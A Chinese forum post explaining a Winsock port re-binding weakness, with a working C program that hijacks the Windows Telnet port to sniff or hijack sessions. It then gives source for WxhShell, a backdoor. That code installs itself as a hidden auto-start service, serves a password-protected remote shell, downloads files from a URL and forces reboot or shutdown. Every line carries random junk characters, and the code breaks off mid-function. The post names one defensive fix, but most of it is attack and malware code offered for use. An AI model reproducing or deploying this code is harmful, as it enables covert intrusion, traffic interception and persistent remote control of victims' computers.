社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19293阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h\[\\m O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /ONV5IkPy  
:Waox"#=g  
  saddr.sin_family = AF_INET; "&YYO#YO  
8|1^|B(l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Eh8Pwt7C@  
2h~-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f?fKhu2  
.q`{Dgc~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #G^A-yjn  
B~WtZ-%%E  
  这意味着什么?意味着可以进行如下的攻击: Dma.r  
;I6s-moq_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A/*%J74v  
%"3 )TN4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~fN%WZ;_  
UV7%4xM5v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "u^EleE!  
#} ,x @]p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =J'P.  
Qu*1g(el!o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <EX7WA  
|(IO=V4P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0OZMlt%z  
LC69td&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .=R lOK  
!F4;_A`X  
  #include t={0(  
  #include +JdZPb  
  #include {Q (}DI  
  #include    c-]fKj7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _ *(bmJM  
  int main() gvavs+H%  
  { $Rtgr{ {;"  
  WORD wVersionRequested; o=+Z.-q  
  DWORD ret; {+T/GBF-K=  
  WSADATA wsaData; :Hy]  
  BOOL val; n~0z_;5  
  SOCKADDR_IN saddr; lP<I|O=z  
  SOCKADDR_IN scaddr; Se^^E.Z,W  
  int err; >wON\N0V_  
  SOCKET s; -e-e9uP  
  SOCKET sc; E0f{iO;}  
  int caddsize; xN->cA$A  
  HANDLE mt; fZryG  
  DWORD tid;   :J_oj:0r"f  
  wVersionRequested = MAKEWORD( 2, 2 ); Pi6C/$ K  
  err = WSAStartup( wVersionRequested, &wsaData ); GuQRn  
  if ( err != 0 ) { i2,U,>.  
  printf("error!WSAStartup failed!\n"); T|4snU2M  
  return -1; Pe7e ?79  
  } 2!&pEqs  
  saddr.sin_family = AF_INET; 'Z!G a.I  
   UGKaOol.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?bX  
~5aE2w0K   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lJ  
  saddr.sin_port = htons(23);  mw$Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .J.vC1 4gi  
  { b[^{)$(  
  printf("error!socket failed!\n"); 6 vs3O  
  return -1; Utl t<  
  } loOOmHhJ&  
  val = TRUE; P_4DGW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L ubrn"128  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 19u =W(  
  { UPh=+s #Q  
  printf("error!setsockopt failed!\n"); 4iX-(ir,  
  return -1; je%M AgW`  
  } 649 !=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7k8n@39?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j~av\SCU*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :b#%C pR  
i.a _C'<$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,Qc.;4s-  
  { 7XAvd-  
  ret=GetLastError(); IM( u<c$  
  printf("error!bind failed!\n"); e<+<lj "  
  return -1; |m>}%{  
  } ~1 ZD[@  
  listen(s,2); b5`KB75sbo  
  while(1) #6> 6S;Ib  
  { FvImX  
  caddsize = sizeof(scaddr); W4(?HTWZ  
  //接受连接请求 C8b''9t.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?[1SiJT  
  if(sc!=INVALID_SOCKET) +oy*Kxs7  
  { 3(_!`0#F%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )iE"Tl  
  if(mt==NULL) BSUPS+@+  
  { oN,s.Of  
  printf("Thread Creat Failed!\n"); .XH8YT42  
  break; \_ow9vU  
  } Bq}x9C&<  
  } pdz'!I  
  CloseHandle(mt); F'W> 8  
  } EA0iYzV  
  closesocket(s); U6j/BJT"  
  WSACleanup(); Z6s5M{mE  
  return 0; \ aKd5@  
  }   ?S`>>^  
  DWORD WINAPI ClientThread(LPVOID lpParam) iD_T P  
  { NB)t7/Us  
  SOCKET ss = (SOCKET)lpParam; F? ]N8W  
  SOCKET sc; g:~+P e  
  unsigned char buf[4096]; TipHV;|e  
  SOCKADDR_IN saddr; Z7#7N wy4  
  long num; Os&1..$Nb  
  DWORD val;  H!eh J$[  
  DWORD ret; -Zy)5NB-tZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kK[duW =6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S!dHNA:iU  
  saddr.sin_family = AF_INET; c~Kc7}I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 `Du5>b8  
  saddr.sin_port = htons(23); B@cz ?%]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^#SBpLw  
  { J_"3UZ~&  
  printf("error!socket failed!\n"); 3wt  
  return -1; (2txM"Dja  
  } rK=6]j(K  
  val = 100; Ye |G44z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q<=Y  
  { O% $O(l  
  ret = GetLastError(); :JV\){P  
  return -1; .h8M  
  } CT"Fk'B'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k|j:T[_  
  { L|67f4  
  ret = GetLastError(); lX;mhJj!  
  return -1; MUwVG>b8J~  
  } /$`;r2LG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .E<Dz  
  { +TX/g~  
  printf("error!socket connect failed!\n"); *x,HnHT  
  closesocket(sc); ]N}]d +^6  
  closesocket(ss); Q_}n%P:u  
  return -1; " i`8l.Lc  
  } qx%jAs+~  
  while(1) >]/dOH,A  
  { 2%YXc|gGT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D rS?=C@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I:&# U$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eP|)SU  
  num = recv(ss,buf,4096,0); ,)$Wm-  
  if(num>0) >d%VDjk .  
  send(sc,buf,num,0); Gpu_=9vzv  
  else if(num==0) l%PnB )F  
  break; jgRCs.6  
  num = recv(sc,buf,4096,0); o;;,iHu*  
  if(num>0) qZsnd7o{l.  
  send(ss,buf,num,0); ,y.3Fe  
  else if(num==0) F6&P~H  
  break; qJ Gm8^b-  
  } SCq3Ds^  
  closesocket(ss); /djACA  
  closesocket(sc); ptR  
  return 0 ; 2PBepgQyPU  
  } 2f{kBD  
<7RfBR.9  
<.$,`m,  
========================================================== 4x]NUt  
Mjw[:70  
下边附上一个代码,,WXhSHELL {PmzkT}LF  
.0 X$rX=  
========================================================== lC{L6&T  
/Sj_y*x1e  
#include "stdafx.h" 2Iz fP;V?  
$jcz?vH  
#include <stdio.h> MB O,\t.  
#include <string.h> ;tr)=)q &  
#include <windows.h> g RU-g  
#include <winsock2.h> )@$ &FFIu  
#include <winsvc.h> $i%HDt|  
#include <urlmon.h> )0F^NU  
&#,v_B)a_E  
#pragma comment (lib, "Ws2_32.lib") lko3]A3  
#pragma comment (lib, "urlmon.lib") 6o(lObfo  
%mmxA6I  
#define MAX_USER   100 // 最大客户端连接数 .f%vDBJS  
#define BUF_SOCK   200 // sock buffer i-"<[*ePd  
#define KEY_BUFF   255 // 输入 buffer B$`d&7I;D  
@>Ek'~m  
#define REBOOT     0   // 重启 '\'7yN'  
#define SHUTDOWN   1   // 关机 >3$uu+p1F  
?\d5;%YSr  
#define DEF_PORT   5000 // 监听端口 FvA|1c  
@7X\tV.Z  
#define REG_LEN     16   // 注册表键长度 QX+Y(P`vMK  
#define SVC_LEN     80   // NT服务名长度 "i(U  
_Q^y_f  
// 从dll定义API GZ,j?@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )u Qvt-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ec1Fg0Fa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8E-Ip>{>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2;}xN!8  
(xQI($Wq*M  
// wxhshell配置信息 fv/v|  
struct WSCFG { 2D_6  
  int ws_port;         // 监听端口 D:6N9POB  
  char ws_passstr[REG_LEN]; // 口令 ZR2\ dH*  
  int ws_autoins;       // 安装标记, 1=yes 0=no l3\9S#3-^  
  char ws_regname[REG_LEN]; // 注册表键名 vcV!K^M-  
  char ws_svcname[REG_LEN]; // 服务名 Tz2x9b\82  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x' ?.~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8nf4Jk8r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \`&xprqAw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kp.|gzA6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ltl]j*yei  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _rG-#BKW8L  
IY~ {)X  
}; 5@iy3olP  
Sn0Xl3yr  
// default Wxhshell configuration $'y1 Po'2  
struct WSCFG wscfg={DEF_PORT, ID+,[TM`  
    "xuhuanlingzhe", uiuTv)pwF  
    1, -$b?rt]h1g  
    "Wxhshell", I,w^ ?o  
    "Wxhshell", QdirE4W  
            "WxhShell Service", p>!1S  
    "Wrsky Windows CmdShell Service", (\tq<h0  
    "Please Input Your Password: ", 6\XP|n-0+0  
  1, WEps.]s  
  "http://www.wrsky.com/wxhshell.exe", &!4( 0u  
  "Wxhshell.exe" tRkrV]K  
    }; )v};C<  
Jfe~ ,cI  
// 消息定义模块 C\J@fpH(t`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G1A$PR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dn: Yi8=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KZi+j#7O  
char *msg_ws_ext="\n\rExit."; H]U "+52h  
char *msg_ws_end="\n\rQuit."; $=7H1 w  
char *msg_ws_boot="\n\rReboot..."; U:J /\-  
char *msg_ws_poff="\n\rShutdown..."; <kROH0+  
char *msg_ws_down="\n\rSave to "; D . 77WjwQ  
#qPV Qt  
char *msg_ws_err="\n\rErr!"; +$'e4EwqV  
char *msg_ws_ok="\n\rOK!"; ~xP Szf  
e1oFnu2R  
char ExeFile[MAX_PATH]; )!BB/'DRQ  
int nUser = 0; gca|?tt  
HANDLE handles[MAX_USER]; s!bHS_\e|  
int OsIsNt; Q4#\{" N!  
7%W!k zp>  
SERVICE_STATUS       serviceStatus; J&(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EWSr@}2j .  
ws#hhW3qK  
// 函数声明 l DgzM3  
int Install(void); KX]-ll  
int Uninstall(void); Wnb)*pPP  
int DownloadFile(char *sURL, SOCKET wsh); < JGYr 4V  
int Boot(int flag); H+nr5!`kz  
void HideProc(void); ='KPT1dW*  
int GetOsVer(void); bn5"dxV  
int Wxhshell(SOCKET wsl); 9tW3!O^_  
void TalkWithClient(void *cs); -DA;KWYS  
int CmdShell(SOCKET sock); HW^{;'kH~  
int StartFromService(void); (2n3exx  
int StartWxhshell(LPSTR lpCmdLine); o@Dk%LxP  
wHq('+{=&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r#ks>s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;<86P3S  
y>?k<)nA{  
// 数据结构和表定义 \XZU'JIO  
SERVICE_TABLE_ENTRY DispatchTable[] = *{HGLl|=  
{ \?aOExG I  
{wscfg.ws_svcname, NTServiceMain}, hg(KNvl  
{NULL, NULL} c>M_?::)0  
}; D "JMSL4r  
4&#vU(-H  
// 自我安装 r7zf+a]  
int Install(void) \ro~-n+o  
{ Ufyxw5u5F  
  char svExeFile[MAX_PATH]; Z?vY3)  
  HKEY key; lv*Wnn@k  
  strcpy(svExeFile,ExeFile); @oUf}rMiDa  
Lx9hq7<  
// 如果是win9x系统,修改注册表设为自启动 ,oy4V^B&  
if(!OsIsNt) { T[`QO`\5O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #1gTpb+t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 ?EY.}~  
  RegCloseKey(key); LPtx|Sx![  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +# m   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <!$j9)~x  
  RegCloseKey(key); 0]f?Dx/8  
  return 0; {6REfY c  
    } ;Of?fe5:  
  } Q&\ZC?y4  
} D7 8) 4>X  
else { Z?.:5#  
JI28}Cxs0  
// 如果是NT以上系统,安装为系统服务 k i~Raa/e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ":5~L9&G  
if (schSCManager!=0) Ke'YM{  
{ EfMG(oI  
  SC_HANDLE schService = CreateService yTMGISX5  
  ( ?)i6:76(  
  schSCManager, ,i1fv "  
  wscfg.ws_svcname, p8 E;[  
  wscfg.ws_svcdisp, kW*W4{Fth  
  SERVICE_ALL_ACCESS, sIP6GWK$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b@UF PE5jy  
  SERVICE_AUTO_START, ?#');`  
  SERVICE_ERROR_NORMAL, $\=6."R5<  
  svExeFile, w+:+r/!g  
  NULL, F!DrZd>\  
  NULL, YB(#]H|8S  
  NULL, iX&Z  
  NULL, fh/)di  
  NULL wFH(.E0@Q  
  ); 4jI*Y6Wkz  
  if (schService!=0) ^;v.ytO*  
  { 476M` gA  
  CloseServiceHandle(schService); = m!!  
  CloseServiceHandle(schSCManager); 'Y6(4|w (  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KV3+}k  
  strcat(svExeFile,wscfg.ws_svcname); GLoL4el  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .>cL/KaP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * S+7BdP  
  RegCloseKey(key); LS?` {E   
  return 0; 0:nt#n~_  
    } u!156X?[eU  
  } IrVM|8vT3  
  CloseServiceHandle(schSCManager); |G5=>W  
} c{r6a=C  
} ixUiXP  
`K ~>!d_  
return 1; #EwRb<'Em  
} @idp8J [td  
6r ?cpJV{  
// 自我卸载 U7f#Z  
int Uninstall(void) OmQuAG ^\x  
{ [K^q: 3R  
  HKEY key; B@: XC&R^  
P-*R N   
if(!OsIsNt) { 6'X.[0M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xfZ9&g  
  RegDeleteValue(key,wscfg.ws_regname); J^e|"0d  
  RegCloseKey(key); "1\RdTw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /-cX(z 7  
  RegDeleteValue(key,wscfg.ws_regname); t2U]CI%  
  RegCloseKey(key); %E=,H?9&>  
  return 0; +b:h5,  
  } pNk,jeo  
} ^U|CNB%.  
} !3gpiQH{  
else { |Cxip&e>  
.,(uoK{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S -mzxj  
if (schSCManager!=0) +RKE|*y  
{ cUX]tiC0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =&<$I  
  if (schService!=0) 1Rb<(%   
  { N NXwT0t  
  if(DeleteService(schService)!=0) { ocuNrkZ  
  CloseServiceHandle(schService); -t706(#k  
  CloseServiceHandle(schSCManager); +BTNm66Z  
  return 0; )l81R  
  } pR^Y|NG!  
  CloseServiceHandle(schService); Xj&~N;Ysb  
  }  ;#Bh_f  
  CloseServiceHandle(schSCManager); "!4>gg3r  
} ?F_;~  
} /R+]}Lt~%*  
azATKH+j  
return 1; QI^8b\36  
} _yXeX  
71,0v`Z<  
// 从指定url下载文件 smQpIB;  
int DownloadFile(char *sURL, SOCKET wsh) gx{~5&1  
{ L@x8hUG"  
  HRESULT hr; js$a^6  
char seps[]= "/"; &B>uPZ]  
char *token; I;fw]/M%!  
char *file; 4wEpyQ|L  
char myURL[MAX_PATH]; T W;;OS[  
char myFILE[MAX_PATH]; (Os OPTp  
7Q4Pjc D  
strcpy(myURL,sURL); &?ed.V@E5  
  token=strtok(myURL,seps); [Z`:1_^0}  
  while(token!=NULL) 'V*M_o(\  
  { Jb-QP'$@  
    file=token; @=| b$E  
  token=strtok(NULL,seps); ;),O*Z|"v  
  } %A Du[M.  
q2o$s9}B  
GetCurrentDirectory(MAX_PATH,myFILE); eDMwY$J  
strcat(myFILE, "\\"); jn3|9x  
strcat(myFILE, file); h,RUL  
  send(wsh,myFILE,strlen(myFILE),0); !B38! L  
send(wsh,"...",3,0); "oGM> @q=B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r:\5/0(  
  if(hr==S_OK) ff+9(P>*  
return 0; =2V;B  
else q.K$b  
return 1; ClVpb ew  
,h(+\^ ?,  
} Ydd>A\v\;  
i)^ZH#G p  
// 系统电源模块 | 3/p8  
int Boot(int flag) |$-d, ] V  
{ -JW6@L@  
  HANDLE hToken; .j$bCKXGx  
  TOKEN_PRIVILEGES tkp; 3'NL1du  
9;WOqBD  
  if(OsIsNt) { :FgRe,D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,0u0 '  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R~?;KJ  
    tkp.PrivilegeCount = 1; CjukD%>sde  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oL/^[TXjH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XjM)/-w  
if(flag==REBOOT) { X;a{JjN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A2FU}Ym0=  
  return 0; Kgio}y  
} ;{C{V{  
else { ~m=%a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }u*@b10   
  return 0; YD>>YaH_3@  
} 0Y`tj  
  } w*R-E4S?2  
  else { Y8xnvK*  
if(flag==REBOOT) { r{3 `zqo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xv(9 Yh S  
  return 0; X!+ a;wr  
} ,$(v#Tz  
else { :^L]Da3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SG o:FG  
  return 0; $Lbe5d?\  
} 8q LgB  
} _+Kt=;Y8  
2g8P$+;  
return 1; `G5wiyH})  
} ;Z~.54Pf{d  
6&Ir0K/  
// win9x进程隐藏模块 Q]'!FmXf  
void HideProc(void) 3tcsj0Rb  
{ ;GE u.PdxB  
h*LL(ow5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N~KRwsDH  
  if ( hKernel != NULL ) zjZTar1Re  
  { _o"3gfH&sJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (dt_ D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >43yty\   
    FreeLibrary(hKernel); ZvKMRW  
  } /'_ RI  
/6*.%M>r  
return; #\["y%;W  
} UN4) >\Y  
G&H"8REm  
// 获取操作系统版本 QYb?;Z  
int GetOsVer(void) e%Xf*64  
{ T1di$8  
  OSVERSIONINFO winfo; EKw\a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ">&:(<  
  GetVersionEx(&winfo); ?i=!UN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lH>XIEj  
  return 1; nEEGO~e  
  else RUtS_Z&  
  return 0; XFe7qt;%  
} pREY AZh  
C7_T]e<  
// 客户端句柄模块 Ax*~[$$~%  
int Wxhshell(SOCKET wsl) cb,sb^-  
{ zQ+t@;g1  
  SOCKET wsh; .O.R  
  struct sockaddr_in client; q,&T$Tw  
  DWORD myID; Y--8v#t  
kw}1CXD  
  while(nUser<MAX_USER) B\&Ka<r  
{ u\?u4  
  int nSize=sizeof(client); eV%bJkt.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y6PA\7Y\  
  if(wsh==INVALID_SOCKET) return 1; )fL*Ws6  
1 *CWHs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  nGd  
if(handles[nUser]==0) I@M^Wu]wW  
  closesocket(wsh); mcG$V0D <{  
else ]*U')  
  nUser++; r,KK%B  
  } e.^9&Fk"N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *v3 |  
^eRT8I  
  return 0; AwrK82  
} wO%:WL$5  
>MrU^t  
// 关闭 socket v |2j~  
void CloseIt(SOCKET wsh) R!qrb26k  
{ (W!$6+GT  
closesocket(wsh); [0#hgGO]P  
nUser--; mhuaXbr  
ExitThread(0); ;VRR=p%,  
} 5^/[]*  
mIo7 K5z{  
// 客户端请求句柄 W fNMyI  
void TalkWithClient(void *cs) ptQ (7N  
{ j!)p NZW.<  
.x8$PXjPG  
  SOCKET wsh=(SOCKET)cs; @/FX7O{n:  
  char pwd[SVC_LEN]; 1U7HS2  
  char cmd[KEY_BUFF]; *)I1gR~  
char chr[1]; 3~la/$?p0  
int i,j; b15qy?`y  
j #YFwX4.  
  while (nUser < MAX_USER) { J@iN':l-  
3Q)>gh*  
if(wscfg.ws_passstr) { nWu4HFi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); elgQcJ99  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `p|vutk)U  
  //ZeroMemory(pwd,KEY_BUFF); >#|Yoc  
      i=0; vDvGT<d  
  while(i<SVC_LEN) { ^W'[l al.  
FJ"9Hs2  
  // 设置超时 hspg-|R  
  fd_set FdRead; Am  $L  
  struct timeval TimeOut; F k;su,]_  
  FD_ZERO(&FdRead); CF_!{X_k}  
  FD_SET(wsh,&FdRead); |hoZ:  
  TimeOut.tv_sec=8; QovC*1'  
  TimeOut.tv_usec=0; s\!vko'M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q:^Cw8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >IjLFM+U  
Ghc0{M<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T%/w^27E  
  pwd=chr[0]; hM w`e  
  if(chr[0]==0xd || chr[0]==0xa) { o+TZUMm  
  pwd=0; ,eCXT=6  
  break; @D=`iG%  
  } 7d)' y  
  i++; ;i>E @  
    } |lV9?#!  
W|U1AXU7/  
  // 如果是非法用户,关闭 socket edx'p`%d5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n`xh/vGm#  
} BH a>2N  
6QQ oHYtZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <vDm(-i3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?%Fk0E#>2  
UULL:vqq  
while(1) { \ 6 a  
9YhsJ~"Q  
  ZeroMemory(cmd,KEY_BUFF); k)Wz b  
F DX+  
      // 自动支持客户端 telnet标准   2Zip8f!  
  j=0; Iq \oB  
  while(j<KEY_BUFF) { >~~\==".  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G.TX1  
  cmd[j]=chr[0]; f4}6$>)  
  if(chr[0]==0xa || chr[0]==0xd) { K~T\q_ZPZ  
  cmd[j]=0; _xt(II   
  break; )A=g# D#  
  } _<Yo2,1^  
  j++; %WR"85  
    } *`T &Dlt'8  
[bJnl>A  
  // 下载文件 G[j79o  
  if(strstr(cmd,"http://")) { ]M;! ])b$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7:'>~>'  
  if(DownloadFile(cmd,wsh)) c F]3gM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =lQ[%&  
  else 5AU3s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;(6lN<i U  
  } |3ETF|)?  
  else { _B FX5ifK  
38i,\@p`9$  
    switch(cmd[0]) { 3 ?~+5DU  
  8-YrmP2k  
  // 帮助 WEAXqDjM  
  case '?': { +Ob#3PRy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *wcoDQ b;  
    break; 4+,Z'J%\[7  
  } T]-~?;Jh8  
  // 安装 [)vwg`]   
  case 'i': { *PU,Rc()6  
    if(Install()) w[YbL2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ygt)7f5  
    else >]8.xkQq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4LJ}>e  
    break; X{9o8 *V  
    } /j@ `aG(a  
  // 卸载 !5t 3Y  
  case 'r': { 4{t$M}?N  
    if(Uninstall()) F:GKnbY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~la04wR28  
    else >Fk `h=Wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T?{9Z  
    break; v=-3 ,C  
    } "e<. n  
  // 显示 wxhshell 所在路径 z}8L}:  
  case 'p': { :=v{inN  
    char svExeFile[MAX_PATH]; #q.G_-H4J@  
    strcpy(svExeFile,"\n\r"); 6*33k'=;F  
      strcat(svExeFile,ExeFile); u?Mu*r?  
        send(wsh,svExeFile,strlen(svExeFile),0); $OoN/^kv  
    break; ld:alEo  
    } ~ O=|v/]  
  // 重启 )^f Q@C8  
  case 'b': { ~(^*?(Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G>>u#>0  
    if(Boot(REBOOT)) =c^=Yvc7U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WVK-dBU  
    else { l{m~d!w`a  
    closesocket(wsh); D-:<]D:  
    ExitThread(0); 0.+eF }'H  
    } 5THS5'  
    break; B/kn&^z$|~  
    } K(fLqXE%  
  // 关机 q%Jy>IXt  
